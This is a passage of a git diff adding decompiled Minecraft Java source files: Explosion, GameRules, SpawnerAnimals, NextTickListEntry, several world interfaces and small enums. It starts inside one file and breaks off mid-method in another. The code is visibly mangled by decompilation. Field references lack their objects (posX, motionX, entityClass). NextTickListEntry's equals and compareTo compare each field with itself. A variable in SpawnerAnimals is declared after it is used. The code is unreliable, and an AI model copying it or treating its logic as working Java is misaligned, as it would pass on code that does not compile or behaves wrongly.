+  private static final EnumDifficulty[] $VALUES;
+  private static final String __OBFID = "CL_00001510";
+  
+  private EnumDifficulty(String p_i45312_1_, int p_i45312_2_, int p_i45312_3_, String p_i45312_4_)
+  {
+    difficultyId = p_i45312_3_;
+    difficultyResourceKey = p_i45312_4_;
+  }
+  
+  public int getDifficultyId()
+  {
+    return difficultyId;
+  }
+  
+  public static EnumDifficulty getDifficultyEnum(int p_151523_0_)
+  {
+    return difficultyEnums[(p_151523_0_ % difficultyEnums.length)];
+  }
+  
+  public String getDifficultyResourceKey()
+  {
+    return difficultyResourceKey;
+  }
+  
+  static
+  {
+    difficultyEnums = new EnumDifficulty[values().length];
+    
+
+
+    $VALUES = new EnumDifficulty[] { PEACEFUL, EASY, NORMAL, HARD };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    EnumDifficulty[] var0 = values();
+    int var1 = var0.length;
+    
+    for (int var2 = 0; var2 < var1; var2++)
+    {
+      EnumDifficulty var3 = var0[var2];
+      difficultyEnums[difficultyId] = var3;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/EnumSkyBlock.java b/src/minecraft/net/minecraft/world/EnumSkyBlock.java
new file mode 100644
index 0000000..018a7ff
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/EnumSkyBlock.java
@@ -0,0 +1,16 @@
+package net.minecraft.world;
+
+public enum EnumSkyBlock
+{
+  SKY("SKY", 0, 15), 
+  BLOCK("BLOCK", 1, 0);
+  
+  public final int defaultLightValue;
+  private static final EnumSkyBlock[] $VALUES = { SKY, BLOCK };
+  private static final String __OBFID = "CL_00000151";
+  
+  private EnumSkyBlock(String p_i1961_1_, int p_i1961_2_, int p_i1961_3_)
+  {
+    defaultLightValue = p_i1961_3_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/Explosion.java b/src/minecraft/net/minecraft/world/Explosion.java
new file mode 100644
index 0000000..68158ef
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/Explosion.java
@@ -0,0 +1,277 @@
+package net.minecraft.world;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Sets;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockFire;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.enchantment.EnchantmentProtection;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.item.EntityTNTPrimed;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Vec3;
+
+
+
+
+
+public class Explosion
+{
+  private final boolean isFlaming;
+  private final boolean isSmoking;
+  private final Random explosionRNG;
+  private final World worldObj;
+  private final double explosionX;
+  private final double explosionY;
+  private final double explosionZ;
+  private final Entity exploder;
+  private final float explosionSize;
+  private final List affectedBlockPositions;
+  private final Map field_77288_k;
+  private static final String __OBFID = "CL_00000134";
+  
+  public Explosion(World worldIn, Entity p_i45752_2_, double p_i45752_3_, double p_i45752_5_, double p_i45752_7_, float p_i45752_9_, List p_i45752_10_)
+  {
+    this(worldIn, p_i45752_2_, p_i45752_3_, p_i45752_5_, p_i45752_7_, p_i45752_9_, false, true, p_i45752_10_);
+  }
+  
+  public Explosion(World worldIn, Entity p_i45753_2_, double p_i45753_3_, double p_i45753_5_, double p_i45753_7_, float p_i45753_9_, boolean p_i45753_10_, boolean p_i45753_11_, List p_i45753_12_)
+  {
+    this(worldIn, p_i45753_2_, p_i45753_3_, p_i45753_5_, p_i45753_7_, p_i45753_9_, p_i45753_10_, p_i45753_11_);
+    affectedBlockPositions.addAll(p_i45753_12_);
+  }
+  
+  public Explosion(World worldIn, Entity p_i45754_2_, double p_i45754_3_, double p_i45754_5_, double p_i45754_7_, float p_i45754_9_, boolean p_i45754_10_, boolean p_i45754_11_)
+  {
+    explosionRNG = new Random();
+    affectedBlockPositions = Lists.newArrayList();
+    field_77288_k = Maps.newHashMap();
+    worldObj = worldIn;
+    exploder = p_i45754_2_;
+    explosionSize = p_i45754_9_;
+    explosionX = p_i45754_3_;
+    explosionY = p_i45754_5_;
+    explosionZ = p_i45754_7_;
+    isFlaming = p_i45754_10_;
+    isSmoking = p_i45754_11_;
+  }
+  
+
+
+
+  public void doExplosionA()
+  {
+    HashSet var1 = Sets.newHashSet();
+    boolean var2 = true;
+    
+
+
+    for (int var3 = 0; var3 < 16; var3++)
+    {
+      for (int var4 = 0; var4 < 16; var4++)
+      {
+        for (int var5 = 0; var5 < 16; var5++)
+        {
+          if ((var3 == 0) || (var3 == 15) || (var4 == 0) || (var4 == 15) || (var5 == 0) || (var5 == 15))
+          {
+            double var6 = var3 / 15.0F * 2.0F - 1.0F;
+            double var8 = var4 / 15.0F * 2.0F - 1.0F;
+            double var10 = var5 / 15.0F * 2.0F - 1.0F;
+            double var12 = Math.sqrt(var6 * var6 + var8 * var8 + var10 * var10);
+            var6 /= var12;
+            var8 /= var12;
+            var10 /= var12;
+            float var14 = explosionSize * (0.7F + worldObj.rand.nextFloat() * 0.6F);
+            double var15 = explosionX;
+            double var17 = explosionY;
+            double var19 = explosionZ;
+            
+            for (float var21 = 0.3F; var14 > 0.0F; var14 -= 0.22500001F)
+            {
+              BlockPos var22 = new BlockPos(var15, var17, var19);
+              IBlockState var23 = worldObj.getBlockState(var22);
+              
+              if (var23.getBlock().getMaterial() != Material.air)
+              {
+                float var24 = exploder != null ? exploder.getExplosionResistance(this, worldObj, var22, var23) : var23.getBlock().getExplosionResistance(null);
+                var14 -= (var24 + 0.3F) * 0.3F;
+              }
+              
+              if ((var14 > 0.0F) && ((exploder == null) || (exploder.func_174816_a(this, worldObj, var22, var23, var14))))
+              {
+                var1.add(var22);
+              }
+              
+              var15 += var6 * 0.30000001192092896D;
+              var17 += var8 * 0.30000001192092896D;
+              var19 += var10 * 0.30000001192092896D;
+            }
+          }
+        }
+      }
+    }
+    
+    affectedBlockPositions.addAll(var1);
+    float var30 = explosionSize * 2.0F;
+    int var4 = MathHelper.floor_double(explosionX - var30 - 1.0D);
+    int var5 = MathHelper.floor_double(explosionX + var30 + 1.0D);
+    int var31 = MathHelper.floor_double(explosionY - var30 - 1.0D);
+    int var7 = MathHelper.floor_double(explosionY + var30 + 1.0D);
+    int var32 = MathHelper.floor_double(explosionZ - var30 - 1.0D);
+    int var9 = MathHelper.floor_double(explosionZ + var30 + 1.0D);
+    List var33 = worldObj.getEntitiesWithinAABBExcludingEntity(exploder, new AxisAlignedBB(var4, var31, var32, var5, var7, var9));
+    Vec3 var11 = new Vec3(explosionX, explosionY, explosionZ);
+    
+    for (int var34 = 0; var34 < var33.size(); var34++)
+    {
+      Entity var13 = (Entity)var33.get(var34);
+      
+      if (!var13.func_180427_aV())
+      {
+        double var35 = var13.getDistance(explosionX, explosionY, explosionZ) / var30;
+        
+        if (var35 <= 1.0D)
+        {
+          double var16 = posX - explosionX;
+          double var18 = posY + var13.getEyeHeight() - explosionY;
+          double var20 = posZ - explosionZ;
+          double var36 = MathHelper.sqrt_double(var16 * var16 + var18 * var18 + var20 * var20);
+          
+          if (var36 != 0.0D)
+          {
+            var16 /= var36;
+            var18 /= var36;
+            var20 /= var36;
+            double var37 = worldObj.getBlockDensity(var11, var13.getEntityBoundingBox());
+            double var26 = (1.0D - var35) * var37;
+            var13.attackEntityFrom(DamageSource.setExplosionSource(this), (int)((var26 * var26 + var26) / 2.0D * 8.0D * var30 + 1.0D));
+            double var28 = EnchantmentProtection.func_92092_a(var13, var26);
+            motionX += var16 * var28;
+            motionY += var18 * var28;
+            motionZ += var20 * var28;
+            
+            if ((var13 instanceof EntityPlayer))
+            {
+              field_77288_k.put((EntityPlayer)var13, new Vec3(var16 * var26, var18 * var26, var20 * var26));
+            }
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+  public void doExplosionB(boolean p_77279_1_)
+  {
+    worldObj.playSoundEffect(explosionX, explosionY, explosionZ, "random.explode", 4.0F, (1.0F + (worldObj.rand.nextFloat() - worldObj.rand.nextFloat()) * 0.2F) * 0.7F);
+    
+    if ((explosionSize >= 2.0F) && (isSmoking))
+    {
+      worldObj.spawnParticle(EnumParticleTypes.EXPLOSION_HUGE, explosionX, explosionY, explosionZ, 1.0D, 0.0D, 0.0D, new int[0]);
+    }
+    else
+    {
+      worldObj.spawnParticle(EnumParticleTypes.EXPLOSION_LARGE, explosionX, explosionY, explosionZ, 1.0D, 0.0D, 0.0D, new int[0]);
+    }
+    
+
+
+
+    if (isSmoking)
+    {
+      Iterator var2 = affectedBlockPositions.iterator();
+      
+      while (var2.hasNext())
+      {
+        BlockPos var3 = (BlockPos)var2.next();
+        Block var4 = worldObj.getBlockState(var3).getBlock();
+        
+        if (p_77279_1_)
+        {
+          double var5 = var3.getX() + worldObj.rand.nextFloat();
+          double var7 = var3.getY() + worldObj.rand.nextFloat();
+          double var9 = var3.getZ() + worldObj.rand.nextFloat();
+          double var11 = var5 - explosionX;
+          double var13 = var7 - explosionY;
+          double var15 = var9 - explosionZ;
+          double var17 = MathHelper.sqrt_double(var11 * var11 + var13 * var13 + var15 * var15);
+          var11 /= var17;
+          var13 /= var17;
+          var15 /= var17;
+          double var19 = 0.5D / (var17 / explosionSize + 0.1D);
+          var19 *= (worldObj.rand.nextFloat() * worldObj.rand.nextFloat() + 0.3F);
+          var11 *= var19;
+          var13 *= var19;
+          var15 *= var19;
+          worldObj.spawnParticle(EnumParticleTypes.EXPLOSION_NORMAL, (var5 + explosionX * 1.0D) / 2.0D, (var7 + explosionY * 1.0D) / 2.0D, (var9 + explosionZ * 1.0D) / 2.0D, var11, var13, var15, new int[0]);
+          worldObj.spawnParticle(EnumParticleTypes.SMOKE_NORMAL, var5, var7, var9, var11, var13, var15, new int[0]);
+        }
+        
+        if (var4.getMaterial() != Material.air)
+        {
+          if (var4.canDropFromExplosion(this))
+          {
+            var4.dropBlockAsItemWithChance(worldObj, var3, worldObj.getBlockState(var3), 1.0F / explosionSize, 0);
+          }
+          
+          worldObj.setBlockState(var3, Blocks.air.getDefaultState(), 3);
+          var4.onBlockDestroyedByExplosion(worldObj, var3, this);
+        }
+      }
+    }
+    
+    if (isFlaming)
+    {
+      Iterator var2 = affectedBlockPositions.iterator();
+      
+      while (var2.hasNext())
+      {
+        BlockPos var3 = (BlockPos)var2.next();
+        
+        if ((worldObj.getBlockState(var3).getBlock().getMaterial() == Material.air) && (worldObj.getBlockState(var3.offsetDown()).getBlock().isFullBlock()) && (explosionRNG.nextInt(3) == 0))
+        {
+          worldObj.setBlockState(var3, Blocks.fire.getDefaultState());
+        }
+      }
+    }
+  }
+  
+  public Map func_77277_b()
+  {
+    return field_77288_k;
+  }
+  
+
+
+
+  public EntityLivingBase getExplosivePlacedBy()
+  {
+    return (exploder instanceof EntityLivingBase) ? (EntityLivingBase)exploder : (exploder instanceof EntityTNTPrimed) ? ((EntityTNTPrimed)exploder).getTntPlacedBy() : exploder == null ? null : null;
+  }
+  
+  public void func_180342_d()
+  {
+    affectedBlockPositions.clear();
+  }
+  
+  public List func_180343_e()
+  {
+    return affectedBlockPositions;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/GameRules.java b/src/minecraft/net/minecraft/world/GameRules.java
new file mode 100644
index 0000000..821a8a1
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/GameRules.java
@@ -0,0 +1,215 @@
+package net.minecraft.world;
+
+import java.util.Iterator;
+import java.util.Set;
+import java.util.TreeMap;
+import net.minecraft.nbt.NBTTagCompound;
+
+public class GameRules
+{
+  private TreeMap theGameRules = new TreeMap();
+  
+  public GameRules()
+  {
+    addGameRule("doFireTick", "true", ValueType.BOOLEAN_VALUE);
+    addGameRule("mobGriefing", "true", ValueType.BOOLEAN_VALUE);
+    addGameRule("keepInventory", "false", ValueType.BOOLEAN_VALUE);
+    addGameRule("doMobSpawning", "true", ValueType.BOOLEAN_VALUE);
+    addGameRule("doMobLoot", "true", ValueType.BOOLEAN_VALUE);
+    addGameRule("doTileDrops", "true", ValueType.BOOLEAN_VALUE);
+    addGameRule("commandBlockOutput", "true", ValueType.BOOLEAN_VALUE);
+    addGameRule("naturalRegeneration", "true", ValueType.BOOLEAN_VALUE);
+    addGameRule("doDaylightCycle", "true", ValueType.BOOLEAN_VALUE);
+    addGameRule("logAdminCommands", "true", ValueType.BOOLEAN_VALUE);
+    addGameRule("showDeathMessages", "true", ValueType.BOOLEAN_VALUE);
+    addGameRule("randomTickSpeed", "3", ValueType.NUMERICAL_VALUE);
+    addGameRule("sendCommandFeedback", "true", ValueType.BOOLEAN_VALUE);
+    addGameRule("reducedDebugInfo", "false", ValueType.BOOLEAN_VALUE);
+  }
+  
+  public void addGameRule(String key, String value, ValueType type)
+  {
+    theGameRules.put(key, new Value(value, type));
+  }
+  
+  public void setOrCreateGameRule(String key, String ruleValue)
+  {
+    Value var3 = (Value)theGameRules.get(key);
+    
+    if (var3 != null)
+    {
+      var3.setValue(ruleValue);
+    }
+    else
+    {
+      addGameRule(key, ruleValue, ValueType.ANY_VALUE);
+    }
+  }
+  
+
+
+
+  public String getGameRuleStringValue(String name)
+  {
+    Value var2 = (Value)theGameRules.get(name);
+    return var2 != null ? var2.getGameRuleStringValue() : "";
+  }
+  
+
+
+
+  public boolean getGameRuleBooleanValue(String name)
+  {
+    Value var2 = (Value)theGameRules.get(name);
+    return var2 != null ? var2.getGameRuleBooleanValue() : false;
+  }
+  
+  public int getInt(String name)
+  {
+    Value var2 = (Value)theGameRules.get(name);
+    return var2 != null ? var2.getInt() : 0;
+  }
+  
+
+
+
+  public NBTTagCompound writeGameRulesToNBT()
+  {
+    NBTTagCompound var1 = new NBTTagCompound();
+    Iterator var2 = theGameRules.keySet().iterator();
+    
+    while (var2.hasNext())
+    {
+      String var3 = (String)var2.next();
+      Value var4 = (Value)theGameRules.get(var3);
+      var1.setString(var3, var4.getGameRuleStringValue());
+    }
+    
+    return var1;
+  }
+  
+
+
+
+  public void readGameRulesFromNBT(NBTTagCompound nbt)
+  {
+    Set var2 = nbt.getKeySet();
+    Iterator var3 = var2.iterator();
+    
+    while (var3.hasNext())
+    {
+      String var4 = (String)var3.next();
+      String var6 = nbt.getString(var4);
+      setOrCreateGameRule(var4, var6);
+    }
+  }
+  
+
+
+
+  public String[] getRules()
+  {
+    return (String[])theGameRules.keySet().toArray(new String[0]);
+  }
+  
+
+
+
+  public boolean hasRule(String name)
+  {
+    return theGameRules.containsKey(name);
+  }
+  
+  public boolean areSameType(String key, ValueType otherValue)
+  {
+    Value var3 = (Value)theGameRules.get(key);
+    return (var3 != null) && ((var3.getType() == otherValue) || (otherValue == ValueType.ANY_VALUE));
+  }
+  
+  static class Value
+  {
+    private String valueString;
+    private boolean valueBoolean;
+    private int valueInteger;
+    private double valueDouble;
+    private final GameRules.ValueType type;
+    private static final String __OBFID = "CL_00000137";
+    
+    public Value(String value, GameRules.ValueType type)
+    {
+      this.type = type;
+      setValue(value);
+    }
+    
+    public void setValue(String value)
+    {
+      valueString = value;
+      
+      if (value != null)
+      {
+        if (value.equals("false"))
+        {
+          valueBoolean = false;
+          return;
+        }
+        
+        if (value.equals("true"))
+        {
+          valueBoolean = true;
+          return;
+        }
+      }
+      
+      valueBoolean = Boolean.parseBoolean(value);
+      valueInteger = (valueBoolean ? 1 : 0);
+      
+      try
+      {
+        valueInteger = Integer.parseInt(value);
+      }
+      catch (NumberFormatException localNumberFormatException) {}
+      
+
+
+
+      try
+      {
+        valueDouble = Double.parseDouble(value);
+      }
+      catch (NumberFormatException localNumberFormatException1) {}
+    }
+    
+
+
+
+    public String getGameRuleStringValue()
+    {
+      return valueString;
+    }
+    
+    public boolean getGameRuleBooleanValue()
+    {
+      return valueBoolean;
+    }
+    
+    public int getInt()
+    {
+      return valueInteger;
+    }
+    
+    public GameRules.ValueType getType()
+    {
+      return type;
+    }
+  }
+  
+  public static enum ValueType
+  {
+    ANY_VALUE("ANY_VALUE", 0, "ANY_VALUE", 0), 
+    BOOLEAN_VALUE("BOOLEAN_VALUE", 1, "BOOLEAN_VALUE", 1), 
+    NUMERICAL_VALUE("NUMERICAL_VALUE", 2, "NUMERICAL_VALUE", 2);
+    private static final ValueType[] $VALUES = { ANY_VALUE, BOOLEAN_VALUE, NUMERICAL_VALUE };
+    
+    private ValueType(String p_i46394_1_, int p_i46394_2_, String p_i45750_1_, int p_i45750_2_) {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/IBlockAccess.java b/src/minecraft/net/minecraft/world/IBlockAccess.java
new file mode 100644
index 0000000..6098f51
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/IBlockAccess.java
@@ -0,0 +1,26 @@
+package net.minecraft.world;
+
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.biome.BiomeGenBase;
+
+public abstract interface IBlockAccess
+{
+  public abstract TileEntity getTileEntity(BlockPos paramBlockPos);
+  
+  public abstract int getCombinedLight(BlockPos paramBlockPos, int paramInt);
+  
+  public abstract IBlockState getBlockState(BlockPos paramBlockPos);
+  
+  public abstract boolean isAirBlock(BlockPos paramBlockPos);
+  
+  public abstract BiomeGenBase getBiomeGenForCoords(BlockPos paramBlockPos);
+  
+  public abstract boolean extendedLevelsInChunkCache();
+  
+  public abstract int getStrongPower(BlockPos paramBlockPos, EnumFacing paramEnumFacing);
+  
+  public abstract WorldType getWorldType();
+}
diff --git a/src/minecraft/net/minecraft/world/IInteractionObject.java b/src/minecraft/net/minecraft/world/IInteractionObject.java
new file mode 100644
index 0000000..844e85a
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/IInteractionObject.java
@@ -0,0 +1,13 @@
+package net.minecraft.world;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.inventory.Container;
+
+public abstract interface IInteractionObject
+  extends IWorldNameable
+{
+  public abstract Container createContainer(InventoryPlayer paramInventoryPlayer, EntityPlayer paramEntityPlayer);
+  
+  public abstract String getGuiID();
+}
diff --git a/src/minecraft/net/minecraft/world/ILockableContainer.java b/src/minecraft/net/minecraft/world/ILockableContainer.java
new file mode 100644
index 0000000..7c430ef
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/ILockableContainer.java
@@ -0,0 +1,13 @@
+package net.minecraft.world;
+
+import net.minecraft.inventory.IInventory;
+
+public abstract interface ILockableContainer
+  extends IInventory, IInteractionObject
+{
+  public abstract boolean isLocked();
+  
+  public abstract void setLockCode(LockCode paramLockCode);
+  
+  public abstract LockCode getLockCode();
+}
diff --git a/src/minecraft/net/minecraft/world/IWorldAccess.java b/src/minecraft/net/minecraft/world/IWorldAccess.java
new file mode 100644
index 0000000..73afbcb
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/IWorldAccess.java
@@ -0,0 +1,32 @@
+package net.minecraft.world;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.BlockPos;
+
+public abstract interface IWorldAccess
+{
+  public abstract void markBlockForUpdate(BlockPos paramBlockPos);
+  
+  public abstract void notifyLightSet(BlockPos paramBlockPos);
+  
+  public abstract void markBlockRangeForRenderUpdate(int paramInt1, int paramInt2, int paramInt3, int paramInt4, int paramInt5, int paramInt6);
+  
+  public abstract void playSound(String paramString, double paramDouble1, double paramDouble2, double paramDouble3, float paramFloat1, float paramFloat2);
+  
+  public abstract void playSoundToNearExcept(EntityPlayer paramEntityPlayer, String paramString, double paramDouble1, double paramDouble2, double paramDouble3, float paramFloat1, float paramFloat2);
+  
+  public abstract void func_180442_a(int paramInt, boolean paramBoolean, double paramDouble1, double paramDouble2, double paramDouble3, double paramDouble4, double paramDouble5, double paramDouble6, int... paramVarArgs);
+  
+  public abstract void onEntityAdded(Entity paramEntity);
+  
+  public abstract void onEntityRemoved(Entity paramEntity);
+  
+  public abstract void func_174961_a(String paramString, BlockPos paramBlockPos);
+  
+  public abstract void func_180440_a(int paramInt1, BlockPos paramBlockPos, int paramInt2);
+  
+  public abstract void func_180439_a(EntityPlayer paramEntityPlayer, int paramInt1, BlockPos paramBlockPos, int paramInt2);
+  
+  public abstract void sendBlockBreakProgress(int paramInt1, BlockPos paramBlockPos, int paramInt2);
+}
diff --git a/src/minecraft/net/minecraft/world/IWorldNameable.java b/src/minecraft/net/minecraft/world/IWorldNameable.java
new file mode 100644
index 0000000..25f50f0
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/IWorldNameable.java
@@ -0,0 +1,12 @@
+package net.minecraft.world;
+
+import net.minecraft.util.IChatComponent;
+
+public abstract interface IWorldNameable
+{
+  public abstract String getName();
+  
+  public abstract boolean hasCustomName();
+  
+  public abstract IChatComponent getDisplayName();
+}
diff --git a/src/minecraft/net/minecraft/world/LockCode.java b/src/minecraft/net/minecraft/world/LockCode.java
new file mode 100644
index 0000000..7316e06
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/LockCode.java
@@ -0,0 +1,42 @@
+package net.minecraft.world;
+
+import net.minecraft.nbt.NBTTagCompound;
+
+public class LockCode
+{
+  public static final LockCode EMPTY_CODE = new LockCode("");
+  private final String lock;
+  private static final String __OBFID = "CL_00002260";
+  
+  public LockCode(String p_i45903_1_)
+  {
+    lock = p_i45903_1_;
+  }
+  
+  public boolean isEmpty()
+  {
+    return (lock == null) || (lock.isEmpty());
+  }
+  
+  public String getLock()
+  {
+    return lock;
+  }
+  
+  public void toNBT(NBTTagCompound nbt)
+  {
+    nbt.setString("Lock", lock);
+  }
+  
+  public static LockCode fromNBT(NBTTagCompound nbt)
+  {
+    if (nbt.hasKey("Lock", 8))
+    {
+      String var1 = nbt.getString("Lock");
+      return new LockCode(var1);
+    }
+    
+
+    return EMPTY_CODE;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/MinecraftException.java b/src/minecraft/net/minecraft/world/MinecraftException.java
new file mode 100644
index 0000000..79ea0b9
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/MinecraftException.java
@@ -0,0 +1,11 @@
+package net.minecraft.world;
+
+public class MinecraftException extends Exception
+{
+  private static final String __OBFID = "CL_00000145";
+  
+  public MinecraftException(String msg)
+  {
+    super(msg);
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/NextTickListEntry.java b/src/minecraft/net/minecraft/world/NextTickListEntry.java
new file mode 100644
index 0000000..1c50de3
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/NextTickListEntry.java
@@ -0,0 +1,79 @@
+package net.minecraft.world;
+
+import net.minecraft.block.Block;
+import net.minecraft.util.BlockPos;
+
+
+
+
+
+public class NextTickListEntry
+  implements Comparable
+{
+  private static long nextTickEntryID;
+  private final Block field_151352_g;
+  public final BlockPos field_180282_a;
+  public long scheduledTime;
+  public int priority;
+  private long tickEntryID;
+  private static final String __OBFID = "CL_00000156";
+  
+  public NextTickListEntry(BlockPos p_i45745_1_, Block p_i45745_2_)
+  {
+    tickEntryID = (nextTickEntryID++);
+    field_180282_a = p_i45745_1_;
+    field_151352_g = p_i45745_2_;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (!(p_equals_1_ instanceof NextTickListEntry))
+    {
+      return false;
+    }
+    
+
+    NextTickListEntry var2 = (NextTickListEntry)p_equals_1_;
+    return (field_180282_a.equals(field_180282_a)) && (Block.isEqualTo(field_151352_g, field_151352_g));
+  }
+  
+
+  public int hashCode()
+  {
+    return field_180282_a.hashCode();
+  }
+  
+
+
+
+  public NextTickListEntry setScheduledTime(long p_77176_1_)
+  {
+    scheduledTime = p_77176_1_;
+    return this;
+  }
+  
+  public void setPriority(int p_82753_1_)
+  {
+    priority = p_82753_1_;
+  }
+  
+  public int compareTo(NextTickListEntry p_compareTo_1_)
+  {
+    return tickEntryID > tickEntryID ? 1 : tickEntryID < tickEntryID ? -1 : priority != priority ? priority - priority : scheduledTime > scheduledTime ? 1 : scheduledTime < scheduledTime ? -1 : 0;
+  }
+  
+  public String toString()
+  {
+    return Block.getIdFromBlock(field_151352_g) + ": " + field_180282_a + ", " + scheduledTime + ", " + priority + ", " + tickEntryID;
+  }
+  
+  public Block func_151351_a()
+  {
+    return field_151352_g;
+  }
+  
+  public int compareTo(Object p_compareTo_1_)
+  {
+    return compareTo((NextTickListEntry)p_compareTo_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/SpawnerAnimals.java b/src/minecraft/net/minecraft/world/SpawnerAnimals.java
new file mode 100644
index 0000000..281bd52
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/SpawnerAnimals.java
@@ -0,0 +1,311 @@
+package net.minecraft.world;
+
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import java.util.Set;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLiving.SpawnPlacementType;
+import net.minecraft.entity.EnumCreatureType;
+import net.minecraft.entity.IEntityLivingData;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.biome.BiomeGenBase.SpawnListEntry;
+import net.minecraft.world.chunk.Chunk;
+
+public final class SpawnerAnimals
+{
+  private static final int field_180268_a = (int)Math.pow(17.0D, 2.0D);
+  
+
+  private final Set eligibleChunksForSpawning = com.google.common.collect.Sets.newHashSet();
+  
+  private static final String __OBFID = "CL_00000152";
+  
+
+  public SpawnerAnimals() {}
+  
+  public int findChunksForSpawning(WorldServer p_77192_1_, boolean p_77192_2_, boolean p_77192_3_, boolean p_77192_4_)
+  {
+    if ((!p_77192_2_) && (!p_77192_3_))
+    {
+      return 0;
+    }
+    
+
+    eligibleChunksForSpawning.clear();
+    int var5 = 0;
+    Iterator var6 = playerEntities.iterator();
+    
+
+
+    while (var6.hasNext())
+    {
+      EntityPlayer var7 = (EntityPlayer)var6.next();
+      
+      if (!var7.func_175149_v())
+      {
+        int var8 = MathHelper.floor_double(posX / 16.0D);
+        int var9 = MathHelper.floor_double(posZ / 16.0D);
+        byte var10 = 8;
+        
+        for (int var11 = -var10; var11 <= var10; var11++)
+        {
+          for (int var12 = -var10; var12 <= var10; var12++)
+          {
+            boolean var13 = (var11 == -var10) || (var11 == var10) || (var12 == -var10) || (var12 == var10);
+            ChunkCoordIntPair var14 = new ChunkCoordIntPair(var11 + var8, var12 + var9);
+            
+            if (!eligibleChunksForSpawning.contains(var14))
+            {
+              var5++;
+              
+              if ((!var13) && (p_77192_1_.getWorldBorder().contains(var14)))
+              {
+                eligibleChunksForSpawning.add(var14);
+              }
+            }
+          }
+        }
+      }
+    }
+    
+    int var36 = 0;
+    BlockPos var37 = p_77192_1_.getSpawnPoint();
+    EnumCreatureType[] var38 = EnumCreatureType.values();
+    int var9 = var38.length;
+    
+    for (int var39 = 0; var39 < var9; var39++)
+    {
+      EnumCreatureType var40 = var38[var39];
+      
+      if (((!var40.getPeacefulCreature()) || (p_77192_3_)) && ((var40.getPeacefulCreature()) || (p_77192_2_)) && ((!var40.getAnimal()) || (p_77192_4_)))
+      {
+        int var12 = p_77192_1_.countEntities(var40.getCreatureClass());
+        int var41 = var40.getMaxNumberOfCreature() * var5 / field_180268_a;
+        
+        if (var12 <= var41)
+        {
+          Iterator var42 = eligibleChunksForSpawning.iterator();
+          
+          label817:
+          while (var42.hasNext())
+          {
+            ChunkCoordIntPair var15 = (ChunkCoordIntPair)var42.next();
+            BlockPos var16 = func_180621_a(p_77192_1_, chunkXPos, chunkZPos);
+            int var17 = var16.getX();
+            int var18 = var16.getY();
+            int var19 = var16.getZ();
+            Block var20 = p_77192_1_.getBlockState(var16).getBlock();
+            
+            if (!var20.isNormalCube())
+            {
+              int var21 = 0;
+              int var22 = 0;
+              
+              while (var22 < 3)
+              {
+                int var23 = var17;
+                int var24 = var18;
+                int var25 = var19;
+                byte var26 = 6;
+                BiomeGenBase.SpawnListEntry var27 = null;
+                IEntityLivingData var28 = null;
+                int var29 = 0;
+                
+
+
+                while (var29 < 4)
+                {
+
+
+                  var23 += rand.nextInt(var26) - rand.nextInt(var26);
+                  var24 += rand.nextInt(1) - rand.nextInt(1);
+                  var25 += rand.nextInt(var26) - rand.nextInt(var26);
+                  BlockPos var30 = new BlockPos(var23, var24, var25);
+                  float var31 = var23 + 0.5F;
+                  float var32 = var25 + 0.5F;
+                  
+                  if ((!p_77192_1_.func_175636_b(var31, var24, var32, 24.0D)) && (var37.distanceSq(var31, var24, var32) >= 576.0D))
+                  {
+                    if (var27 == null)
+                    {
+                      var27 = p_77192_1_.func_175734_a(var40, var30);
+                      
+                      if (var27 == null) {
+                        break;
+                      }
+                    }
+                    
+
+                    if ((p_77192_1_.func_175732_a(var40, var27, var30)) && (func_180267_a(net.minecraft.entity.EntitySpawnPlacementRegistry.func_180109_a(entityClass), p_77192_1_, var30)))
+                    {
+
+                      try
+                      {
+
+                        var33 = (EntityLiving)entityClass.getConstructor(new Class[] { World.class }).newInstance(new Object[] { p_77192_1_ });
+                      }
+                      catch (Exception var35) {
+                        EntityLiving var33;
+                        var35.printStackTrace();
+                        return var36;
+                      }
+                      EntityLiving var33;
+                      var33.setLocationAndAngles(var31, var24, var32, rand.nextFloat() * 360.0F, 0.0F);
+                      
